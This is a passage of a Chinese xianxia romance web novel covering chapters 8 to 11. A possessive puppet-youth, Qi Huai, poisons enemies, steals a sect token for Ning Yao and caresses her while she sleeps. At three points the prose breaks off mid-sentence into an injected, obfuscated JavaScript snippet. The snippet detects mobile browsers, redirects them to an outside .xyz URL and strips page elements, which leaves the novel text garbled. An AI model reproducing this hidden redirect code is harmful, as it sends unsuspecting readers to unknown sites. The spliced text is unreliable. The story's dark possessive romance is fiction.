玉忠手上动作猛地一僵,难以置信地扭头,面色一白,浑身颤抖,下意识地从骨子里的恐惧,让他眼神慌张地左右打量。 这个铃声是…… “不可能!绝对不可能!他怎么可能出现在这里?”玉忠倒吸一口凉气。 祁淮阴鸷的眸光落下,不知何时悄无声息地站在他身后,袖中滑出一条通体漆黑的小蛇,一言不发,狠狠地咬上玉忠的脖颈。 “伤她?”祁淮嗓音低沉冰冷,忽的冷哼一笑,“你有几条命?嗯?” 挥手斩断浮尘丝线,将宁瑶轻柔地一把揽入怀中。 目光快速,又暗含怒意的扫过她手腕、脖颈、脚踝上刺目的红痕,眼底幽暗翻涌。再看向玉忠时,已是在看一个死人。 玉忠惨叫一声,捂着迅速发黑的脖颈倒地翻滚,哀嚎不止。 “总算撑到你来了。”宁瑶长舒一口气,疼得身体一软,靠在他胸膛平缓呼吸。 那惊雷珠的爆炸,不仅是逃命,更是她发给祁淮的信号。 幸好“傀儡”吸过她的血,隐约能感知她遇到危险,否则她真不敢兵行险招,相信一个“傀儡”会正好来救她。 祁淮眸色阴沉紧盯着玉忠,转向宁瑶时掩去翻涌的情绪,恢复了惯常的表情。 冰凉的指尖,轻轻摩挲上脖颈的深红色的勒痕。动作轻柔,眼底藏起骇人的阴郁,“疼吗,主人?” 这些痕迹刺眼极了。 这里本该,只留下他的印记。 无声的怒意在祁淮心底疯狂的滋生。 他的小猫不乖,受伤了。 宁瑶回眸看去,察觉到“傀儡”平静表象下,似乎有些不对劲。面上依旧是一副冷淡傀儡的模样。 可这语气,是在为她生气? 但现在不是她深究的时候。 宁瑶摇头,“我没事,他怎么回事?” 看向地上翻滚的玉忠,脖子上两个血洞,看起来似被什么击中了。 她刚刚好像看见他袖口处滑出一条……蛇? “毒,剧毒。”祁淮低声答道。 他微微歪头看向玉忠,弯唇露出极小的笑意,掩下了未尽之语: 能让人痛得死去活来,却始终保持清醒,直到在极致的痛苦中奄奄一息,被耗干最后一丝生机。 宁瑶上前欲要细看玉忠的伤口,似有所感出不对之处,转头就见祁淮指尖持着两根细长的石针,“这个,有毒?” “对,主人小心了。”祁淮恰到好处地浅笑,掩饰极好地点点头,将掩饰的石针收起,眸光深邃,见她并未察觉。无意识抚了抚四角铃铛。 宁瑶微颔首,转手拿起袖口藏起的木盒子示意他,“快看看这个,该你储备知识超多的大脑出场了。” 递过一只小巧的木盒,祁淮只瞥了一眼便明了:苗疆蛊盒。 他再熟悉不过,小而便捷,用于存放蛊虫。 每个苗疆人所持的蛊盒花纹都不一样,多是持有者雕刻,盒面上歪歪斜斜刻了朵桃花,他想到了隔壁竹楼住着的阿姐,似乎有个一模一样的。 而且这阿姐曾有个阿妹,很多年前跟个外族修士逃跑。 叛族离去,再无音信。 “主人,这是谁给你的?”祁淮嗓音微沉。 “一个名叫苏挽的女子,可惜,她已经死了。”宁瑶飞速说了之前遇到女子的经过,祁淮漫不经心掀了掀唇角,露出一丝微妙的笑。 捆了玉忠,随宁瑶返回那间关押苏挽的厢房,走入内室,借着光看清混乱的场地,目光意味深长地掠过地上的那一具尸体。 叛族之人,终是落得个客死他乡,被人榨干最后一丝价值的下场。 他眸光一转,视线久久凝在宁瑶面容上。 见祁淮不出声,宁瑶转身来,疑惑地凑近些,提高声音道:“祁淮?你怎么不说话,看出什么了?” 少女身上淡淡的馨香悠悠的飘来,心念一动,他眼底暗光流动,指尖轻叩在蛊盒上:“主人想知道这里面是什么吗?” “想。”宁瑶点头。 祁淮打开蛊盒,一条泛着微弱白光的母虫静静卧在其中,只有半截指节长短。 母虫现身的刹那,四周隐约传出一阵细密的窸窣声。 他指尖微不可察地撩过腰间四角铃铛,它无声地摇晃。 土地之下无数梦魇虫纷纷出动,却多数未能抵过烈日,转眼在地化作尸身。 宁瑶又好奇,又被恶心地皱起脸:“这虫子这么厉害?全都能召过来?” 祁淮俯身逼近,修长的手指托起那只木盒凑近些,声音轻得像蛊惑:“这是母虫,可号令子虫,它们自然拼死而来。”眸光静看她面对蛊虫的反应。 宁瑶强忍着恶心接过盒子,打量着那只貌不惊人的小虫,“原来如此。” 说完赶紧将东西放回祁淮手中,虫子还是太吓人了。 微热的指尖在掌心蹭过,祁淮垂眸,极为兴味地摩挲了一下掌心的那处肌肤,敛眸一笑。 他掌心袖口还留下的另一只极小的木盒子,里面存着一只梦魇虫,吞吃的,是属于宁瑶的梦境。 倒地疼得蜷缩打滚的玉忠,眼看大势已去,疼到凶光毕露,猩红的眼,目眦欲裂看着两人,涌动着一只紫黑色蛊虫在经络中游走。 “不,不!我的修为,我的修为——我不会放过你们的!”玉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489858|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忠浑身发颤,除了身体剧毒的疼,更有灵力溃散的痛楚。 祁淮踱步过去,鞋尖不轻不重地踢了踢地上那人的腿,眼底掠过一丝阴鸷。他俯身,一粒小丸便悄无声息地滑入了对方因痛苦而微张的唇间。 什么该说,什么不该说。 再转向宁瑶时,眼底的戾气已化作惯常的柔和。侧身挡住地上瘫软的玉忠,将一卷阵法图纸递到她眼前,身影淡淡的药草气息随之笼罩下来,“主人,您看这个。” “这是?” 宁瑶接过泛黄的图纸,仔细研究上面开启法阵的注解:“按上面所说,他驱使蛊虫,而后将身有灵根之人抓来,抽取灵根内的灵力转接到自身,然后又要放血沐浴,以求更彻底脱胎换骨。” 什么现实版血腥玛丽? 宁瑶嘴角抽了抽,嫌弃地撇撇嘴,乜斜地上瘫地玉忠,“真是缺德缺到家了。” “主人,我们去看看那些救下的人吧。”祁淮可不想因一只“小虫子”,破坏了她和自己的……关系了。 两人快速走到方才被围堵的院落,院内横七竖八躺满灰袍修士的院落里,此刻正有无数小红虫从他们身体钻出。 待最后一只梦魇虫被阳光湮灭,那些修士才晃悠起身。 祁淮把奄奄一息的玉忠提丟了过去,众人刚清醒过来,顿时炸开锅:“掌门!” “你们对掌门做了什么!”数道目光如利箭般射来。 祁淮随手将母虫盒子掷到众人脚下,有人接住,看清后脸色骤变:“不可能,掌门绝不可能修炼这等邪术!” "不信?"宁瑶轻哼一声,做好自己的心理建设,赶紧推开身后厢房的大门。 浓重的血腥味扑面而来,露出里面被祁淮救下昏迷不醒的人,和血腥肆意的血池。 看清一切,满院修士顿时响起倒抽冷气的声音。 “不可能……” “这是怎么回事……” “你们有这功夫嚷嚷,不如赶紧去救人。”宁瑶回眸瞪了一眼他们,众人这才如梦初醒般动起来。 众人手忙脚乱地救治伤员,大多数人的伤势暂且稳定,可仍有几个眼见是救不回来了。她正低头帮一个小女童包扎伤口,看着那些伤痕,看的人触目惊心。 忽然,袖口一紧。 祁淮不知何时站到了她身侧,不着痕迹地扯了扯她的衣袖,他刚才明明还在对着几个烛台摆弄。 他的指尖收回,恰似漫不经心地把玩着腰间银铃,乌黑的眸子一眨不眨地锁着她。 他没说话,只伸手将她拉到厢房的阴影里,往她手心塞了块还带着温热的桂花糖糕。 “哪来的?” “厨房。主人,先吃着。”他声音压低。 宁瑶下意识咬了一小口,甜香在舌尖化开,目光落在他仍牢牢扣住自己手腕的那只手上。 傀儡少年指节苍白力道却不容挣脱,她抬头撞进深不见底的眸底,“怎么了?” “主人,别抬头,慢慢吃。”祁淮唇角弯起个极淡的弧度,眼神韵着寒意,“有些人等不及要出手了。” 宁瑶捏着半块糖糕的手指,微微一僵。 9. 第9章 借着俯身假意整理衣摆的间隙,她瞥见周遭不知何时悄然围上数名修士,而本该被押走的掌门玉忠竟被人搀扶着在不远处,有人悄悄握住了兵刃。 她顿时觉得口中的甜味变得粘腻起来。 这些人,莫非是想把伤员连同他们一并灭口? “现在跑来得及,”宁瑶压低声音,眼睫半垂,余光扫过地上横七竖八的人,眼神逐渐坚定,“可他们……” 他们只是普通的百姓,年岁都不大。身负灵根之人本少之又少,遭此劫难更是倒霉至极。 若是她和祁淮一走了之,这些修士沆瀣一气起来,他们的活路极为渺茫。 “我们还不能走,起码得拖延到援兵到来。”按那些跑下山的孩子的脚程,哪怕是寻到援手,估计还得有些时辰才能上山。 “主人便不怕?”祁淮垂眸。 “怕,谁不惜命,”她梗着脖子,“再说回来了,我身边这不还有你嘛。” 祁淮听此,俯身凑近,小辫上银色小铃铛擦过她耳垂,“主人,那装到底。” 他眸底阴郁暗涌一丝杀意,面对她时又是标准的浅笑,气息有意拂过她脸颊,“我有一计,到时候看我眼色行事。” 宁瑶点头的瞬间,他已退开半步,音量如常:“主人,糖糕要凉了。” 她望着手里精致的点心,叹了口气:“现在哪还有心思吃这个。” 祁淮垂眸睨着她,伸出指尖抹掉她唇边一点糖屑,动作亲昵得真是个体贴的傀儡。 转瞬即逝的眼神,藏起近乎玩味的审视,给她糖糕,似是看看受惊的小动物会如何反应。 宁瑶心头一跳。 这让她生出了一种,祁淮该不会是为了安抚她不必惊慌,给块甜糕打发。 她咬完最后一口桂花糕,拍去手上的糖屑,伸手在祁淮衣襟上摸索了两下,他半垂的眼睫倏地抬起,眸底掠过一丝讶异。 “桂花糖糕还有吗?” “主人,最后一块刚刚已经进你肚子里了。”祁淮微微偏头,“我可是偷拿的。” 她讪讪收回手,“别说,衣料下的手感似乎还挺好的。”笑着抬眸,眼眸清澈透亮,那双天生带着浅茶色的眸子漾着笑,看着人会无端地带来几分暖意。 好乖。 祁淮喉结滚动着,倾身凑近:“主人若喜欢,可要再确认下触感?” 宁瑶顺势用指尖戳开他额头。 她倒是紧张,可现下被祁淮转移话题,神经仿佛都松了松,上扬的嘴角泄露了轻松。 “现在不宜转移话题重点,还有人盯着了。” 祁淮垂下眼帘,莫名失落地挪开视线。 宁瑶眸光转向那些修士上,打量着他们的动静。 玉忠气若游丝,拼尽最后力气拽住心腹弟子是衣角:“绝不能让这些人活着出去,清玉观百年清誉……” 心腹弟子是个三十来岁的青年,于心不忍扫了一眼趟地的孩童。 玉忠浑浊的目光紧盯他,暴起掐住青年手腕,“你心软?放走他们,整个儋城再无我等立锥之地!”挤出一丝声音,疼得他眼前模糊了,说完最后一句便断了气。 青年沉默了片刻,捏紧拳头,软剑如蛇出鞘:“为掌门报仇!” 找好一个开战的理由,他的剑锋直指宁瑶身旁抱臂而立的少年。 祁淮漫不经心侧身,衣袂翻飞,对宁瑶挑眉示意。 她立刻猫腰退至梁柱后,还不忘对他说了个“小心”的嘴型。 “真是轻狂……”青年陡然顿足,浑身无力,软剑尖点地。紧随身旁的几名修士却连一招都没使出,一个个绵软地跌坐在地。 “你竟用毒……”看着同门接二连三失去反抗之力,他怒极反笑,“何时下的手?” 少年用靴尖拨了拨不慎碰倒滚落在地的烛台,小辫的银铃随着动作轻响:“从你们掌门断气前。” 一条绳索操纵着如游蛇窜出,倒地修士们被一一缠成粽子。祁淮不紧不慢地拽了拽绳头,将他们都绑个结结实实。 宁瑶松了一口气,仍觉得有些不对劲的地方,“你在烛台下了迷药,我为何没事?” 祁淮指尖指了指他的唇角。 宁瑶看得微愣一下,虽觉得莫名其妙,不理解但照做的上手轻触摸在他的唇瓣。 祁淮的唇不似他偏低的体温,反而透着一股难言的柔软和温凉。 他心口微微一悸,低头唇角微勾,苍唇恰好蹭过她未来得及收回的指尖。 一种陌生的战栗,宁瑶下意识缩手,“笑什么?” “主人,”他带着一些沙哑的笑,“您方才用的桂花甜糕里掺了解药。” 她干笑两声,耳根却因尴尬悄悄红了,生硬地转移话题:“你这些稀奇古怪的东西,莫非都是傀儡师给的?” “自然。”祁淮垂下眼帘,语气轻缓却意味深长,“我的一切,都是为了保护主人啊。” 宁瑶咳嗽两声表示赞许,“不错不错。”转眸就看着那些乱动的修士。 不出半日,儋城百姓将这座护佑儋城百年的清玉道观围得水泄不通。 被救出的孩童怯生生指向道观:“就是这里……” 赶来帮忙的修士,将这些被捆的修士一一带回城主府关押,在场有哭喊,有被吓的吸气声。 所谓凶兽作祟,其实不过是一场自导自演的“人祸”。 宁瑶和祁淮在这一刻仿佛成了背景板,她绷紧的肩膀松了松,正打算离开。 城主家小公子白岚,正带着父母在人群中张望,忽地指着他们喊道:“是这个姐姐救了我。” 宁瑶本是隐在人群不愿被过多关注,默默准备开溜,一下子成了大家目光的焦点。 “咳,我就是路过。”宁瑶干笑了一声。 她不太习惯成为人群焦点,从前的“记忆”都在告诉她。聚焦在她身上的目光,能有多么刺痛与扎心。 让她钉死在那“废柴”的耻辱柱上,反复被无声目光“鞭笞”。 百姓围得更紧,诚恳,怀疑,热情,她在一张张陌生的容颜扫过,此刻却不一样了,灼热目光让她浑身有些不自在,但这些目光不刺痛,竟一时脚下忘了挪动。 “恩公务必来寒舍坐坐!” “我们要设宴答谢二位!” “你们救了我的孩子,恩公们,你们的大恩大德我们儋城百姓没齿难忘。” “真是一个修为不高的少女救了人?” “怎么?这还有假?”忽的一个小姑娘怯生生的语气,却激动得反驳。 多数人在得知少女带自己的属下力挽狂澜,自然将信将疑,不过那群被救的孩子所说,事实胜于雄辩。 “不用了,真不用。”宁瑶笑着摆摆手,无法回应着每一个人的热情,不自觉身形往后缩。 祁淮突然攥住她的手腕,少年指节泛白。 她目光上移,祁淮面上却仍噙着浅笑:“主人。”微微倾身,用仅二人能闻的声音低语,“别看他们。” 意识到她被太多人关注,他心底翻涌着燥郁宣泄不出。 宁瑶顺势被祁淮拉出人群。 待走到僻静处,宁瑶长舒一口气,嘴角噙着笑:“不愧是我的傀儡,懂我应付不来这场面。” 不过今时不同往日,这里无人知晓她真实身份,也不会如以往那般用着有色眼镜看待她。 因她的夸赞,祁淮眼底翻涌的暗潮悄然褪去半分。 两人慢悠悠地下山回客栈。 “祁淮。”她侧眸看着他,轻撞了一下他的胳膊,“人心易变,不过现在唯有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489859|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你,从来不会变。” 少年凝视着她被夕阳镀金的侧脸,喉结轻轻滚动。 ——怎么会不变呢,主人。每分每秒,都想把你染上我的气息。 宁瑶大步地往前走,他的视线便紧紧跟随在她的每一个步伐上。 回到客栈,祁淮利收拾好行囊,宁瑶则去马厩牵马。 谁知等她回到后院,刚要抬脚踩镫,却愣了一下。 明明早饭前她亲手拴在这儿的两匹棕马,眼下凭空少了一匹。 “奇怪,我明明牵出来了呀?”宁瑶绕着不大的后院寻了一圈,连根多余的马毛都没见着。 “许是没栓稳,自己跑了吧。”祁淮的声音里听不出半点着急,反倒抢先一步翻身上了马。 深蓝长袍衬得那张本就精致的脸愈发雌雄莫辨,让眉眼中阴郁之气一扫而空,眉梢舒展开来。 发间缀着的银铃随他的动作清脆作响,唇角弯起惯常的浅笑,朝她伸出手,“无碍,一匹也够用。” 宁瑶握住他微凉的手,借力跃上马背,顷刻落入他的怀抱里。 祁淮扯紧缰绳,自然而然地将她圈住,这是一个极度保护欲的动作。 “主人,我们该启程了。” 祁淮俯身说话时,气息拂过她的耳廓,舒朗悦耳的嗓音就贴在她的耳畔似的。 随着他身体前倾,宁瑶后背不可避免地贴合上他的胸膛。 这姿势对她来说,她倒也不算讨厌。 宁瑶下意识侧头想说什么,却微凉的唇瓣不经意擦过他的下颌,留下一抹转瞬即逝的湿意。 “!” 一股说不清道不明的战栗感倏地窜遍全身,她触电般僵直了脊背。 是你分明清楚他不过是个没有心的傀儡,可过分亲密的接触,竟让她心尖没出息地颤了一下。 这一刻是刹那,她几乎要错觉他是个真实存在的,会令她心动的少年。 “祁淮,”宁瑶赶紧坐直身体,背绷得像张拉满的弓,“准备走吧。” 真奇怪,她居然被一个“傀儡”给撩到了。 这跟沉迷二次元纸片人有什么两样。 无非是眼前这个更“高级”:有体温,能触碰,绝对服从,甚至……能满足她所有想象。 宁瑶不敢再往下深想,身体却诚实地向后靠去,安心陷在熟悉的怀抱里。 祁淮晦暗地眸,就这般看着她从警惕到放松,再彻底依偎在他怀里。 像只慵懒异常的橘猫,鹅黄色的长裙衬托出那截露出后颈的肌肤,白皙光滑。 他得逞一笑,粘稠潮湿的目光紧紧牵绕在她周身,阴郁之色在眸底暗涌。 她心底顿时升起说不出的古怪。 这匹棕马速度快,颠簸间,不得不整个人紧贴在祁淮胸前,隔着衣料都能感受到少年胸膛传来的温度。 “得罪了,主人。”祁淮的声音仍是惯常的恭敬。 见她毫无察觉,眼神瞬间变得隐秘的放肆。 微凉唇瓣若有似无地擦过她的发顶,起初只是小心触碰,几次试探后,不着痕迹地向下,轻轻蹭过她的后颈。 酥酥麻麻的感觉窜起,她伸手摸了摸后颈。 “怎么了主人?”祁淮夹紧马腹,手臂自然地环住她的腰,虚虚将她拢在怀中。 “没事。”宁瑶晃了晃脑袋,只当是她错觉。 多想了吧,一个傀儡有什么坏心思了。 一路紧赶慢赶,两人终于抵达下一座城池。 与儋城的粗犷截然不同,云城依山傍水,小巧玲珑,四季如春,湿润的空气里弥漫着花香。 宁瑶坐在马背上,一派温婉的江南风光尽收眼底。 祁淮翻身下马,一手牵着缰绳,抬头望向她,“主人,你现在打算去哪?” 10. 第10章 宁瑶指了指前方攒动的人群,蜿蜒如长龙的队伍,尽头处气派的楼阁正是天道斋,天道宗设在云城招收弟子的据点。 “就是这儿了。” 除了修仙界魁首天道宗,云城各处还散布着大大小小门派的招新点。 只有叫不出名字的宗门,没有见不到的旗号。 天道斋每两年开放一次,作为顶尖宗门,前来碰运气的修士多如过江之鲫。 等到日头西斜,宁瑶才和祁淮来到登记处。 几名身着素白长袍的弟子正低头忙碌,周身倒是仙风道骨,腰间别着佩剑。 齐刷刷的阵仗,统一的画风简直如误入了“鬼的成年礼”现场。 无论来者身份尊卑,一律老老实实登记测灵根。执笔的修士头也不抬,指了指桌案上剔透的测灵石:“姓名,手放上来。” “宁瑶。” 她深吸一口气,四周原本嘈杂的人声似乎悄然低了下去,无数道目光扫来。 抬手停顿了一刹那,最终随即将掌心轻覆上去。 刹那间,测灵石内涌起一团混沌的五色光晕,它们纠缠冲撞,似一团乱麻,又似一道五色彩虹。 宁瑶盯紧那团斑驳的光影,抽回手,攥拳抵在胸前,长睫低垂,掩住了眼底的情绪。 “噗,五灵根?这等资质也敢去天道宗丢人现眼?”旁边一个粗壮汉子当场笑弯了腰,嘲讽道,“小姑娘,趁早回家找个婆家是正经。” 始终沉默立于她身侧的祁淮微皱眉,瞥一眼她的面色,手腕几不可查地一翻,一粒黢黑的小丸子无声无息地弹入那汉子的衣领褶皱中。 身后更有人不耐烦地挥挥手,本想推搡宁瑶去一旁,对上她身侧少年幽深阴戾的眸子,气势顿时矮了半截。 他只悻悻嘟囔道:“别耽误小爷的时间。” 排在队伍后头的一个干瘦少年探出头,咂嘴道:“啧啧,五灵根杂得这么彻底,也是少见。” 宁瑶倏然抬眼。 四周的嘲讽像潮水般涌来,这些话,她听得耳朵都快起茧了。 认命? 她偏不想。 她不甘心只做一本连书名都没记住的限制文里那个恶毒女配,到头来死得不明不白。 既然来了,这命,她非要改一改不可。 负责记录的青年轻咳一声,面色清冷,敲了敲桌面示意安静,他目光扫过那些人,最后落在宁瑶身上:“宁姑娘,你未通过。下一个。” 不合格的人,领取不到象征“敲门砖”资格的梧桐木牌。 天道宗隐于云雾缥缈的群峰之间,若是没有木牌引路,凡人会被无形结界迷惑,在山脚下徒劳地兜转,难以窥见真容。 宁瑶脊背挺得笔直,身后的奚落的低语都成了耳边风。她面色不改,转身离去。 青年落笔一顿,视线扫一眼鲜亮的鹅黄。这般心性倒不像个二八年华的小姑娘,可惜了,她只是五灵根的底子…… 祁淮悄无声息地紧随其后。 阴郁目光落在几个嬉笑的面孔,舌尖抵了抵上颚,心底暗涌恶劣的念头: 这些人,真该身上爬满蛊虫,一寸寸啃干净。 宁瑶一言不发地大步往前走,直到拐进一处无人僻静的角落,才停下脚步。 “主人。”祁淮贴近一步,垂下眼睫,专注地凝视她。 他的小猫难过了。 这个认知胸腔里泛起莫名的燥郁,眸底杀戮的血色一闪而过。 宁瑶抬起头,看向陪伴左右的傀儡少年。 他难以完全理解她复杂心绪。 “我早知道会是这个结果。”宁瑶轻声说,像是说给他听,又像是自我宽慰,轻声叹了口气来掩饰心底溢出的伤感。 知道归知道,真到了这一刻,她还是没忍住……没忍住,去赌万分之一的可能性。 她泄气般耷拉下脑袋,脚尖有一下没一下地踢着路边的碎石子。 “主人莫慌,有我在。”祁淮说得理所当然,温热的掌心已覆上她的发顶,轻轻地揉了揉。 宁瑶讶然地抬眼,嘴角扯出个苦笑,“这怎么叫没事……你一个傀儡不会懂。”说完赌气似的把石子踢得更远。 她说目光掠过祁淮的精致脸庞,别开脸,指尖绞着腰间玉佩的流苏,转身就要走:“我去透透气,别跟来。” 银铃轻响。 祁淮扣住她的手腕,指腹若有似无地摩挲着她腕骨。 宁瑶一怔地抬眸,第一次傀儡拒绝了她的要求。 祁淮一双总是阴郁的眸子险些藏不住情绪,执拗地收紧手指,面上依旧是那副纯粹无害的模样:“我会永远护主人。” 小猫生气了,倒是越发鲜活。 他微歪头,眸光掠过打量着她气鼓鼓的侧脸,病态地滋长出几分新奇。 “你的‘永远’是多远?”宁瑶声音闷闷。 这傀儡笨拙哄人的模样,倒是让她心头那股无名火奇异地散了几分,转而泛起绵密的酸胀感。 一个傀儡懂什么。 祁淮思索间弯腰凑近,银铃随着动作轻响。 他望过来的目光太过专注,竟让宁瑶恍惚觉得眼前不是傀儡,而是个活生生的“人”。 “直到再睁不开眼,再不能唤主人醒来的那一天,再不能保护主人的那一刻。”他答得毫不犹豫。 宁瑶愣在原地,抬眸怔怔地看着他的眉眼,被他“表忠心”似地解释击中。 “你……” 她心口像被什么撞了下,说不清的酸涩在心底翻涌。 她说不清是感动还是酸楚,默默地低头,别扭地抽回手腕转了转,声音轻得像叹息,“哦,那你可记住了。” 纵然是傀儡,纵然她不知傀儡的永远有多长。 这一刻,宁瑶却真切地被抚慰了。 “主人,我们先寻个合适的落脚地吧。”祁淮垂下眸,没忍住地伸手拂开她眉间碎发,面上依旧是标准的挑不出错的浅笑。 “嗯。”宁瑶点了点头,大步往前走,回眸看向跟在她身后的少年,眸光从未有之的坚定,“祁淮,我不会放弃入天道宗。” * 夜色渐浓,云城最大的客栈里,宁瑶呈大字型在锦被间翻来覆去,又时不时起身开窗看向窗外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16489860|185801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 月朗星疏,云城的夜生活倒是有趣,来往修士也比儋城多的多。 宁瑶撑起胳膊,眼波直勾勾得看向西面,直到一簇烟花腾升燃起,短促一声炸响,她才安定下来阖上窗。 祁淮开门拎着一壶茶进室,悄无声息地靠近她背后,抚摸过腰间的四角铃铛。 在她身后微俯身,小辫随着长发垂落在宁瑶肩头,轻挠得她脸颊微痒,“主人,睡不着?” “嗯。”宁瑶心里装着事,毫无睡意。 她突然转身,未曾想径直撞进他怀里,草木清香钻入鼻翼。 什么时候她们距离这么近呢? 亮眸里映着他的倒影,脑中灵光一闪,“祁淮,给我按按肩膀吧。” 不等他回应,已擦过他身旁,歪倒在软枕上,任由青丝铺了满榻。 “明日,我有事,无需你跟着,拿着我的令牌去钱庄支取灵石和银钱。”宁瑶望着帐顶的璎珞出神,微微阖上眼,直到脚步声靠近。 温凉的指腹压上肩上的穴位,不轻不重,宁瑶舒服得蜷起脚趾,闭上眼享受着。 前途黑暗的,她倒头就睡。 祁淮垂着眼睫,阴影掩住眸中翻涌的暗潮,指节沿着她脊线游走,瞧着她毫无防备慢慢入睡。 当均匀呼吸声传来,祁淮忽的无声一笑,压抑的低语:“睡吧,我的主人” 宁瑶睡得极沉,连日奔波赶路,又在云城测试灵根,疲惫敢一股脑涌上来,让她睡得格外酣甜。 许是实在睡得舒服,她无意识地往靠近之人蹭了蹭,被人揽入怀中都毫无察觉。 祁淮垂眸看着怀中人,指尖勾起她的一缕青丝把玩,腕间黑蛇探出尾尖,鬼鬼祟祟试探了摇摆,想缠上宁瑶的发尾。 一道细微灵力逼退黑蛇,它悻悻钻回衣袖。 “不许碰她。”祁淮压低声音警告,指尖轻轻摩挲着宁瑶后颈。 那里原先的印记已然淡去,低头小心翼翼地重新落下一吻,加重那处痕迹,指腹流连在她颊边,似无声是安抚。 听见宁瑶无意识的轻哼,他才意犹未尽地停下动作,将人又搂紧几分。 唇瓣似有若无地轻蹭过发顶,闻到馨香,他虽浑身躁动,却难以言喻地心满意足。 祁淮给她掖好被角,悄然起身立在榻边,仿佛从未离开过原地。 不过在她醒之前,他该好好去验收一下“猎物”了。 祁淮踏着夜色悄然落入宅院,瓦砾在他足下发出细微的声音。 负手立在青瓦上,垂眸时阴鸷的目光如同实质,将整个院落笼罩在无形的压迫感中。 白日里对宁瑶叫嚣得最凶的壮汉,此刻正疯狂拍打着自己的额头,嘴里念念有词: “别过来,都别过来!怪只怪你们太弱,才会死在我手里……” 他恍惚看见死在他手下的亡魂,仿佛就飘在眼前,青白手指差点要触到他的鼻尖。 “弱肉强食,天经地义!”强作镇定地嘶吼,却发现浑身灵力滞涩,只能在院子里跌跌撞撞地转圈奔逃。 就在他快要崩溃时,檐上忽然传来清脆的铃音。 11. 第11章 月光下,长身而立个戴银色面具的少年,眉眼精致,只露出一双眼眸寒意呼之欲出。 头戴深蓝色银饰制作的圆帽,绘的诡谲的花纹,垂落的两条银饰流苏无风自动。 最诡异的是他腰间的四角铃铛,分明没有铃舌,却在夜色中传来若有似无的铃声。 “救救我,救救我。” “可惜,”祁淮指尖轻抚过四角铃铛,面具下的唇角弯起一丝恶劣又寒意的笑来,嗓音故意压低,“我,是来取走你的性命。” 壮汉早吓得脸色苍白,若现在还不知道发生什么实在是太蠢,被一拥而上的幻觉鬼魂吓得两眼一翻,晕了过去。 伤她者,死不足惜。 不过,他今天得早去早回,不然真想看看蛊虫一点点吞食他。 祁淮飞身落下,一道黑影随之吞了壮汉,又转眼窜入室内。 不过几息,黑蛇咬着一块梧桐木牌游走回他脚边,尾巴不停摇了摇,一副得到他夸奖似的。 他指尖微动,灵力将木牌隔空卷入掌心。随手抛玩两下,唇角扬起似笑非笑的弧度,“干的不错,走吧。” 黑蛇飞速钻入袖中,祁淮如来时一般悄无声息,尽快地加快脚程飞到客栈厢房。 翻窗而入,仿佛方才的夜行不曾发生。 他步伐逐渐轻缓,眸底寒意呼之欲出。唯有在目光触及床榻上微蜷的身影时,他眼底才翻涌起毫不掩饰的贪恋。 祁淮缓步走近,指尖轻轻撩开白幔,眸光落在锦被中睡得正熟的宁瑶。 他在床沿坐下,指尖摩挲着那块木牌,眼底掠过暗芒。 明日,该找个合适的时机将此物给她。 趁着宁瑶未醒,他微微屏住呼吸,俯身将她连人带被,一一揽入怀中。 宁瑶在梦中蹙了蹙眉,只觉浑身被什么温热凉意交替的东西紧紧缠绕。 梦境中,她独行水天一色的心境之中,转眼间自己化作一朵灵花,生在在暖泉中。 枝叶被人轻轻抚弄,根茎却深扎泥潭,动弹不得。 那人凑近,在她最娇嫩的花瓣上不轻不重地咬了一口,异样的酥麻顿时传遍全身。 惊得她止不住想去保护自己的花瓣,却被安抚的轻触在枝叶上,一遍遍不厌其烦。 等宁瑶迷迷糊糊醒来,发现周身并无异样。 刚刚梦真是怪诞。 她一坐起身,便看见祁淮端着茶盏,他早已站在床边,神色依旧是恭顺,带着合适的浅笑:“主人,请用茶。” 宁瑶接过轻抿了一口,恍然想起今日的安排,顿时睡意全无,嘴角扬起笑意。 “祁淮,洗漱完用了早膳,我要出去一趟,昨日交代你的可别忘了。” “好的,主人。”祁淮颔首垂眸,眼底的暗色一闪而逝。 他端来水盆,洗漱后仔细为宁瑶穿戴整齐。 浅黄长裙衬得宁瑶她明艳动人,她抬起妍丽亮眸,笑意盈盈瞧着镜中自己的慵懒模样,让他想起苗疆竹楼前那株金桂。 人人路过都能瞧见它盛放的模样,嗅到它的悠悠芬芳。 可它扎根在他的领地。 从来,只属于他一人。 祁淮微微弯腰凑近,嗅着她发间馨香,弯唇给她簪入一支粉宝石发簪。 宁瑶满意颔首,她用完早膳,提着裙摆便急匆匆地就往西市去。 在左右确认无人尾随后,她闪身进了一家画坊。 祁淮懒散地负手静立于飞檐翘角上,指尖无意识地摩挲着腰上四角铃铛。 